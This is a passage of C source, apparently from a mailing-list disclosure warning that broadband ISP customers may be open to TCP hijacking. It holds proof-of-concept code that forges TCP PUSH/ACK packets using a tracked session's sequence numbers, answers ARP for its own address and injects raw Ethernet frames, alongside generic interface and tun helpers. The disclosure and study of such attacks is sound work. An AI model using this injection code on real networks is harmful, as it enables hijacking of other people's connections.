oursocket(struct sess *s, struct ip *ip, struct tcphdr *tcp)
{
	if (s->rport != tcp->th_sport || s->lport != tcp->th_dport ||
	s->remote != ip->ip_src.s_addr || s->local != ip->ip_dst.s_addr) 
		return -1;

	return 0;
}

int
send_push(struct sess *sess, u_int8_t flags, char *data, int datalen)
{
	u_char *buf;
	struct ip *new_ip;
	struct ip hints;
	struct tcphdr *new_tcp;
	struct sockaddr_in sin;
	int s;
	int on = 1;
	int i, newlen;
	u_int32_t *af;

	s = sess->raw;
	newlen = sizeof(struct ip) + sizeof(struct tcphdr) + datalen;
	buf = calloc(1, newlen);
	if (buf == NULL) {
		perror("calloc");
		return;
	}

#if 0
	af = (u_int32_t *)&buf[0];
	new_ip = (struct ip *)&buf[sizeof(u_int32_t)];
	new_tcp = (struct tcphdr*)&buf[sizeof(u_int32_t) + sizeof(struct ip)];
#endif

	new_ip = (struct ip *)&buf[0];
	new_tcp = (struct tcphdr *)&buf[sizeof(struct ip)];

	memcpy((char*)(buf + sizeof(struct ip) + sizeof(struct tcphdr)),data, datalen);

	memset(&hints, 0, sizeof(hints));
	hints.ip_len = htons(newlen);
	hints.ip_p = IPPROTO_TCP;
	hints.ip_src.s_addr = sess->local;
	hints.ip_dst.s_addr = sess->remote;
	set_ip4header(new_ip, &hints);

	new_tcp->th_sport = sess->lport;
	new_tcp->th_dport = sess->rport;
	new_tcp->th_seq = sess->seq;
	new_tcp->th_ack = sess->ack;
	new_tcp->th_off = sizeof(struct tcphdr) >> 2;

	new_tcp->th_flags = TH_PUSH | TH_ACK | flags;

	new_tcp->th_win = htons(0x4000);
	new_tcp->th_sum = 0;
	new_tcp->th_urp = 0;

	/* compute checksums? */
	new_tcp->th_sum = tcp_cksum((u_short *)new_tcp, sizeof(struct tcphdr) + datalen, new_ip);
	new_ip->ip_sum = ip_cksum((u_short *)new_ip, sizeof(struct ip));

	memset((char *)&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;

	if (write_frame(s, buf, newlen) < 0) {
		perror("write_frame 3");
		free(buf);
		return -1;
	}

	free(buf);

	return 0;
}

/* ----------------------------------- IMPORTED ----------------------- */

/* BEGIN ip_cksum */

/*
 * IP_CKSUM - compute the ones complement sum of the ones complement of 16 bit 
 * 			  numbers
 */

u_int16_t
ip_cksum(u_int16_t *p, int len)
{
	register int nleft = len;
	register u_int16_t *w = p;
	register int sum = 0;
	u_int16_t answer;

	while (nleft > 1) {
		sum += *w++;
		nleft -= 2;
	}

	if (nleft == 1) {
		*(u_char *)(&answer) = 	*(u_char *)w;
		sum += answer;
	}

	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);

	answer = ~sum;
	return (answer);
}

/* END ip_cksum */
/* BEGIN tcp_cksum */
/* 
 * TCP_CKSUM - compute the checksum with a pseudo header of the IP packet
 * 				
 */

u_int16_t
tcp_cksum(u_int16_t *addr, int len, struct ip *ip) 
{
	union {
		struct ph {
			in_addr_t src;
			in_addr_t dst;
			u_int8_t pad;
			u_int8_t proto;
			u_int16_t len;
		} s;

		u_int16_t i[6];
	} ph;

	register int nleft = len;
	register u_int16_t *w = &ph.i[0];
	register int sum;

	memcpy(&ph.s.src, &ip->ip_src.s_addr, sizeof(in_addr_t));
	memcpy(&ph.s.dst, &ip->ip_dst.s_addr, sizeof(in_addr_t));
	ph.s.pad = 0;
	ph.s.proto = ip->ip_p;	
	ph.s.len = htons(len);
	sum = w[0] + w[1] + w[2] + w[3] + w[4] + w[5];
	w = addr;
	while (nleft > 1) {
		sum += *w++;
		nleft -= 2;
	}
	if (nleft == 1) {
		sum += htons((*(const char *)w) << 8);
	}
	while (sum > 0xffff) 
		sum = (sum & 0xffff) + (sum >> 16);
	sum = ~sum & 0xffff;
	return (sum);
}

/* END tcp_cksum */
/* BEGIN get_ifmtu */

/*
 * GET_IFMTU - get the specified MTU of the interface, -1 on error
 */

int
get_ifmtu(char *name)
{
	int so;
	struct ifreq ifr;

	if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
		return -1;

	memset((char *)&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));

	if (ioctl(so, SIOCGIFMTU, &ifr, sizeof(ifr)) < 0) {
		close(so);
		return -1;
	}

	close(so);
	return (ifr.ifr_mtu);
}

/* END get_ifmtu */
/* BEGIN set_ip4header */

/*
 * SET_IP4HEADER - configures the IP header based on a set of hints
 *		  returns -1 on error
 */

int
set_ip4header(struct ip *ip, struct ip *hints)
{
	int fh = 0;			/* free hints */
	struct ip *_hints;

	if (hints)
		_hints = hints;
	else {
		_hints = (struct ip *)calloc(1, sizeof(struct ip));
		fh = 1;
	}

	ip->ip_v = (_hints->ip_v != 0) ? _hints->ip_v : IPVERSION;
	ip->ip_hl = (_hints->ip_v != 0) ? _hints->ip_hl :
		sizeof(struct ip) >> 2;
	ip->ip_tos = (_hints->ip_tos != 0) ? _hints->ip_tos : IPTOS_LOWDELAY;
	ip->ip_len = (_hints->ip_len != 0) ? _hints->ip_len : sizeof(struct ip);
	ip->ip_id = (_hints->ip_id != 0) ? _hints->ip_id :
		(u_int16_t)arc4random();
	ip->ip_off = (_hints->ip_off != 0) ? _hints->ip_off : 0;
	ip->ip_ttl = (_hints->ip_ttl != 0) ? _hints->ip_ttl : 
		((_hints->ip_p == IPPROTO_ICMP) ? MAXTTL : IPDEFTTL);
	ip->ip_p = (_hints->ip_p != 0) ? _hints->ip_p : IPPROTO_IP;
	ip->ip_sum = (_hints->ip_sum != 0) ? _hints->ip_sum : 0;
	ip->ip_src.s_addr = (_hints->ip_src.s_addr != 0) ? 
		_hints->ip_src.s_addr : INADDR_ANY;
	ip->ip_dst.s_addr = (_hints->ip_dst.s_addr != 0) ? 
		_hints->ip_dst.s_addr : INADDR_LOOPBACK;

	if (fh) 
		free(_hints);

	return 0;

}

/* END set_ip4header */
void
get_data(struct sess *s, u_char *data, int len)
{

		s->data = calloc(1, len);
		if (s->data == NULL) 
			return;
		s->len = len;
		memcpy(s->data, data, s->len);
}
/* BEGIN open_raw */

/* 
 * OPEN_RAW - open a raw socket, with following protocol, return -1
 * 		on error.
 */

int
open_raw(int proto)
{
	int so;
	int on = 1;

	if ((so = socket(AF_INET, SOCK_RAW, proto)) < 0)
		return -1;
	if (setsockopt(so,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)) < 0) {
		close(so);
		return -1;
	}

	return so;
}
/* END open_raw */

int
open_tunnel(void)
{
	int fd;
	int mtu = 1500;
	char tunif[IFNAMSIZ];

	if ((fd = open_tun((char *)&tunif, sizeof(tunif))) < 0) {
		perror("open_tun");
		exit(1);
	}

#if 0
	if (set_tunmode(fd, IFF_POINTOPOINT) < 0) {
		perror("set_tunmode");
		exit(1);
	}
	if (set_ifpop(tunif, pointa, pointb, netmask) < 0) {
		perror("set_ifpop");
		exit(1);
	}

	if (set_ifup(tunif) < 0) {
		fprintf(stderr, "can't set interface up\n");
		exit(1);
	}
#else

	if (set_tunmode(fd, IFF_BROADCAST | IFF_LINK0) < 0) {
		perror("set_tunmode");
		exit(1);
	}

	if (set_ifup(tunif) < 0) {
		fprintf(stderr, "can't set interface up\n");
		exit(1);
	}

	if (set_ifip(tunif, pointb, netmask, AF_INET) < 0) {
		perror("set_ifip");
		exit(1);
	}

#endif

	if ((mtu = get_ifmtu(tunif)) < 0) {
		perror("get_ifmtu");
		exit(1);
	}
	if (mtu > 1500) {
		mtu = 1500;
		if (set_ifmtu(tunif, mtu) < 0) {
			perror("set_ifmtu");
			exit(1);
		}
	}

	return fd;
}

/* BEGIN open_tun */
/*
 * open_tun - search existing tun(4) device and find one that is open return
 *		file descriptor or -1 on error.  If an argument is given
 * 		try to open that device explicitly otherwise the selected
 * 		device is written to that pointer, for max len bytes
 */

int
open_tun(char *name, int len)
{
#define 	MAX_TUN_DEVICES		16
	char tmp[MAXPATHLEN];
	int dn;		/* device number */
	int fd;		/* file descriptor to be returned */

	if (len > IFNAMSIZ) {
		errno = ENAMETOOLONG;
		return -1;
	}
	/* 
	 * XXX look carefully, this is a little tricky cruft
	 */

	snprintf(tmp, sizeof(tmp), "/dev/%s", name);
	if ((fd = open(tmp, O_RDWR, 0600)) != -1) 
		return fd;

	for (dn = 0; dn < MAX_TUN_DEVICES; dn++) {
		errno = 0;
		snprintf(name, len,  "tun%d", dn);
		snprintf(tmp, sizeof(tmp), "/dev/%s", name);
		fd = open(tmp, O_RDWR, 0600);
		if (fd < 0) {
			if (errno == EBUSY)
				continue;
			break;
		} else
			return fd;
	}

	return -1;
}
/* END open_tun */
/* BEGIN set_tunmode */

/*
 * SET_TUNMODE - set the mode of the specified tunnel device 
 *			IFF_POINTOPOINT or IFF_BROADCAST, return -1 on err
 */

int
set_tunmode(int fd, int mode)
{

	if (mode != IFF_POINTOPOINT && (mode & ( IFF_BROADCAST | IFF_LINK0 )) != (IFF_BROADCAST | IFF_LINK0))
		return -1;

	if (check_tundev(fd) < 0) 
		return -1;

	if (ioctl(fd, TUNSIFMODE, &mode, sizeof(mode)) < 0) 
		return -1;

	return mode;
}

/* END set_tunmode */
/* BEGIN check_tundev */

/*
 * CHECK_TUNDEV - check the type of device, return 1 if device -1 else
 */

int
check_tundev(int fd)
{

#define TUN_DEV	"/dev/tun"
	struct stat sb;

	if (fstat(fd, &sb) < 0) 
		return -1;

	if (S_ISCHR(sb.st_mode)) 
		return 0;

	return -1;
}
/* END check_tundev */
/* BEGIN del_ifip */
/* 
 * DEL_IFIP - delete an IP alias from a certain interface, takes IP as second
 * 				argument, returns 0 on success, -1 on error
 */

int
del_ifip(char *name, char *ip)
{
	int so;
	struct ifaliasreq ifra;
	struct sockaddr_in sin;

	if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
		return -1;

	sin.sin_addr.s_addr = inet_addr(ip);
	memset(&ifra, 0, sizeof(ifra));

	strlcpy(ifra.ifra_name, name, sizeof(ifra.ifra_name));
	memcpy(&ifra.ifra_addr, &sin.sin_addr.s_addr, sizeof(struct sockaddr));

	if (ioctl(so, SIOCDIFADDR, &ifra, sizeof(ifra)) < 0) {
			close(so);
			return -1;
	}

	close(so);
	return 0;
}
/* END del_ifip */
/* BEGIN set_ifip */
/*
 * SET_IFIP - sets an IP address on the specified interface, returns 0 on
 * 		success, -1 on error
 */

int
set_ifip(char *name, char *address, char *netmask, int af)
{
	int so;
	struct ifaliasreq ifra;
	struct sockaddr_in sin;

	if (af == AF_INET6) 
		return -1;

	if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
		return -1;

	memset((char *)&ifra, 0, sizeof(ifra));
	strlcpy(ifra.ifra_name, name, sizeof(ifra.ifra_name));

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = inet_addr(address);
	sin.sin_len = sizeof(sin);

	memcpy(&ifra.ifra_addr,(struct sockaddr *)&sin,sizeof(struct sockaddr));

	sin.sin_addr.s_addr = inet_addr(netmask);
	memcpy(&ifra.ifra_mask, (struct sockaddr *)&sin, sizeof(struct sockaddr));

	if (ioctl(so, SIOCAIFADDR, &ifra, sizeof(ifra)) < 0) {
			close(so);
			return -1;
	}

	close(so);
	return 0;
}
/* END set_ifip */
/* BEGIN set_ifpop */
/*
 * SET_IFPOP - set 2 points on a point to point interface, returns 0 on 
 * 				smooth sails, and -1 on error
 */

int
set_ifpop(char *name, char *point1, char *point2, char *netmask)
{
	int so;
	struct ifaliasreq ifra;
	struct sockaddr_in sin;

	if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
		return -1;

	memset((char *)&ifra, 0, sizeof(ifra));
	strlcpy(ifra.ifra_name, name, sizeof(ifra.ifra_name));

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = inet_addr(point1);
	sin.sin_len = sizeof(sin);

	memcpy(&ifra.ifra_addr,(struct sockaddr *)&sin,sizeof(struct sockaddr));

	sin.sin_addr.s_addr = inet_addr(point2);
#ifdef __OpenBSD__
	memcpy(&ifra.ifra_dstaddr,(struct sockaddr *)&sin,sizeof(struct sockaddr));
#else
	memcpy(&ifra.ifra_broadaddr,(struct sockaddr *)&sin,sizeof(struct sockaddr));
#endif

	if (netmask) {
		sin.sin_addr.s_addr = inet_addr(netmask);
		memcpy(&ifra.ifra_mask,(struct sockaddr*)&sin,sizeof(struct sockaddr));
	}	

	if (ioctl(so, SIOCAIFADDR, &ifra, sizeof(ifra)) < 0) {
			close(so);
			return -1;
	}

	close(so);
	return 0;
}
/* END set_ifpop */
/* BEGIN get_ifflags */

/*
 * GET_IFFLAGS - get flags of specified interface, return -1 on error
 */

short
get_ifflags(char *name)
{
	int so;
	struct ifreq ifr;

	if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
		return -1;

	memset((char *)&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));

	if (ioctl(so, SIOCGIFFLAGS, &ifr, sizeof(ifr)) < 0) {
		close(so);
		return -1;
	}

	close(so);

	return(ifr.ifr_flags);
}
/* END get_ifflags */
/* BEGIN set_ifflags */

/*
 * SET_IFFLAGS - set flags of specified interface, return -1 on error
 */

int
set_ifflags(char *name, short flags)
{
	int so;
	struct ifreq ifr;

	if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
		return -1;

	memset((char *)&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
	ifr.ifr_flags = flags;

	if (ioctl(so, SIOCSIFFLAGS, &ifr, sizeof(ifr)) < 0) {
		close(so);
		return -1;
	}

	close(so);
	return(0);
}
/* END set_ifflags */
/* BEGIN set_ifup */

/*
 * SET_IFUP - turn an interface into the IFF_UP state
 */

int
set_ifup(char *name)
{
	short flags;

	flags = get_ifflags(name);
	flags |= IFF_UP;

	return (set_ifflags(name, flags));
}
/* END set_ifup */
/* BEGIN set_ifdown */

/*
 * SET_IFDOWN - turn an interface off
 */

int
set_ifdown(char *name)
{
	short flags;

	flags = get_ifflags(name);
	flags &= ~IFF_UP;

	return (set_ifflags(name, flags));
}

/* END set_ifdown */
/* BEGIN set_ifmtu */
/*
 * SET_IFMTU - set the specified interface MTU and return 0 on success, -1
 * 				on error.
 */

int
set_ifmtu(char *name, int mtu)
{
	int so;
	struct ifreq ifr;

	if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
		return -1;

	memset((char *)&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
	ifr.ifr_mtu = mtu;

	if (ioctl(so, SIOCSIFMTU, &ifr, sizeof(ifr)) < 0) {
		close(so);
		return -1;
	}

	close(so);
	return 0;
}

/* END set_ifmtu */
/* BEGIN get_ifaddr */

/* 
 * GET_IFADDR - gets the interface address which is returned in an
 * 		in_addr_t
 */

in_addr_t
get_ifaddr(char *name)
{
	int so;
	struct ifreq ifr;
	struct sockaddr_in *sin;

	if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
		return -1;

	memset((char *)&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));

	if (ioctl(so, SIOCGIFADDR, &ifr, sizeof(ifr)) < 0) {
		close(so);
		return -1;
	}

	close(so);

	sin = (struct sockaddr_in *)&ifr.ifr_addr;
	return (sin->sin_addr.s_addr);
}
/* END get_ifaddr */

void
reply_icmp(int fd, char *data, int len)
{
	struct ip *ip;
	struct icmp *icmp;

	int newlen = len;
	char *newdata = data;
	u_int32_t iptmp;
	u_int32_t *af;

	ip = (struct ip *)newdata;

	newdata += sizeof(struct ip);
	newlen -= sizeof(struct ip);

	if (newlen < ICMP_MINLEN) 
		return;	

	icmp = (struct icmp *)newdata;

	if (icmp->icmp_type == 8) {
		icmp->icmp_type = 0;
		icmp->icmp_cksum = 0;

		iptmp = ip->ip_dst.s_addr;
		ip->ip_dst.s_addr = ip->ip_src.s_addr;
		ip->ip_src.s_addr = iptmp;

		ip->ip_sum = 0;
		icmp->icmp_cksum = 0;

		ip->ip_sum = ip_cksum((u_short *)data, sizeof(struct ip));
		icmp->icmp_cksum = ip_cksum((u_short *)newdata, newlen);

		newdata = malloc(len);
		if (newdata == NULL)
			return;

		memcpy((char *)newdata, data, len);
#if 0
		af = (u_int32_t *)newdata;

		*af = htonl(AF_INET);
#endif 

		write_frame(fd, newdata, len + sizeof(u_int32_t));

		free(newdata);

	}

	return;
}

void 
arplookup(int fd)
{
	u_char buf[2500];
	int len;
	int i;

	struct ether_header *eh;
	struct ether_arp *ah;
	time_t now, before;

	for (i = 0; i < 5; i++) {

		memset(&buf, 0, sizeof(buf));
		eh = (struct ether_header *)&buf[0];
		ah = (struct ether_arp *)&buf[sizeof(struct ether_header)];

		len = sizeof(struct ether_header) + sizeof(struct ether_arp);

		eh->ether_type = htons(ETHERTYPE_ARP);
		memset(eh->ether_dhost, 0xff, sizeof(eh->ether_dhost));
		memcpy(eh->ether_shost, &mymac, sizeof(mymac));

		ah->arp_hrd = htons(ARPHRD_ETHER);
		ah->arp_pro = htons(ETHERTYPE_IP);
		ah->arp_hln = sizeof(ah->arp_sha);
		ah->arp_pln = sizeof(ah->arp_spa);
		ah->arp_op = htons(ARPOP_REQUEST);

		memcpy(ah->arp_sha, &mymac, sizeof(mymac));
		memcpy(ah->arp_spa, &myip, sizeof(myip));
		memcpy(ah->arp_tpa, &routerip, sizeof(routerip));

		if (write(fd, buf, len) < 0) {
			perror("write");
		}

		before = time(NULL);
		for (;difftime(now, before) < 10;now = time(NULL)) {

			if ((len = read(fd, buf, sizeof(buf))) < 0) {
				perror("read");
			}

			if (len < (sizeof(struct ether_header) + sizeof(struct ether_arp)))  {
				continue;
			}

			if (memcmp(&eh->ether_dhost, &mymac, sizeof(mymac)) == 0 &&
				ntohs(eh->ether_type) == ETHERTYPE_ARP && 
				ntohs(ah->arp_op) == ARPOP_REPLY) {
				memcpy(&routermac, ah->arp_sha, sizeof(routermac));
				goto out;
			}
		} /* for difftime */

		continue; 	/* back to writing a new ARP request */
	}

#if 0
	for (i = 0; i < sizeof(routermac); i++) {
		printf("%02x:", routermac[i]);
	}

	printf("\n");
#endif 
out:

	return;

}

void 
reply_arp(int fd, u_char *data, int len)
{
	u_char buf[2500];
	int newlen;
	int i;

	struct ether_header *eh, *eh2;
	struct ether_arp *ah, *ah2;

	eh = (struct ether_header *)data;
	ah = (struct ether_arp *)(data + sizeof(struct ether_header));

	if (memcmp(broadcastmac, eh->ether_dhost, sizeof(broadcastmac)) == 0 &&
		ntohs(ah->arp_hrd) == ARPHRD_ETHER &&
		ntohs(ah->arp_pro) == ETHERTYPE_IP &&
		ah->arp_hln == sizeof(ah->arp_sha) &&
		ah->arp_pln == sizeof(ah->arp_spa) &&
		ntohs(ah->arp_op) == ARPOP_REQUEST)
	{

		if (memcmp(&ah->arp_tpa, &myip, sizeof(myip)) != 0) {
			return;
		}

		memset(&buf, 0, sizeof(buf));
		eh2 = (struct ether_header *)&buf[0];
		ah2 = (struct ether_arp *)&buf[sizeof(struct ether_header)];

		newlen = sizeof(struct ether_header) + sizeof(struct ether_arp);

		eh2->ether_type = htons(ETHERTYPE_ARP);

		memcpy(eh2->ether_dhost, eh->ether_shost, sizeof(eh->ether_shost));
		memcpy(eh2->ether_shost, &mymac, sizeof(mymac));

		ah2->arp_hrd = htons(ARPHRD_ETHER);
		ah2->arp_pro = htons(ETHERTYPE_IP);
		ah2->arp_hln = sizeof(ah2->arp_sha);
		ah2->arp_pln = sizeof(ah2->arp_spa);
		ah2->arp_op = htons(ARPOP_REPLY);

		memcpy(ah2->arp_sha, &mymac, sizeof(mymac));
		memcpy(ah2->arp_spa, &myip, sizeof(myip));
		memcpy(ah2->arp_tpa, ah->arp_spa, sizeof(ah->arp_spa));
		memcpy(ah2->arp_tha, ah->arp_sha, sizeof(ah->arp_sha));

		if (write(fd, buf, newlen) < 0) {
			perror("write");
		}
	}

	return;
}

int 
write_frame(int fd, char *data, int len)
{
	char buf[2500];
	struct ether_header *eh = (struct ether_header *) &buf[0];
	char *concat;
	int newlen;

	newlen  = len + sizeof(struct ether_header);

	if (newlen > sizeof(buf)) {
		errno = ENOBUFS;
		return -1;
	}

	concat = &buf[sizeof(struct ether_header)];

	eh->ether_type = htons(ETHERTYPE_IP);
	memcpy(eh->ether_dhost, &routermac, sizeof(routermac));
	memcpy(eh->ether_shost, &mymac, sizeof(mymac));

	memcpy(concat, data, len);

	return (write(fd, buf, newlen));
}

--
Here my ticker tape .signature #### My name is Peter Philipp #### lynx -dump "http://en.wikipedia.org/w/index.php?title=Pufferfish&oldid=20768394" | sed -n 131,136p #### So long and thanks for all the fish!!!

Consumers of Broadband Providers (ISP) may be open to hijack attacks (fwd)

Gadi Evron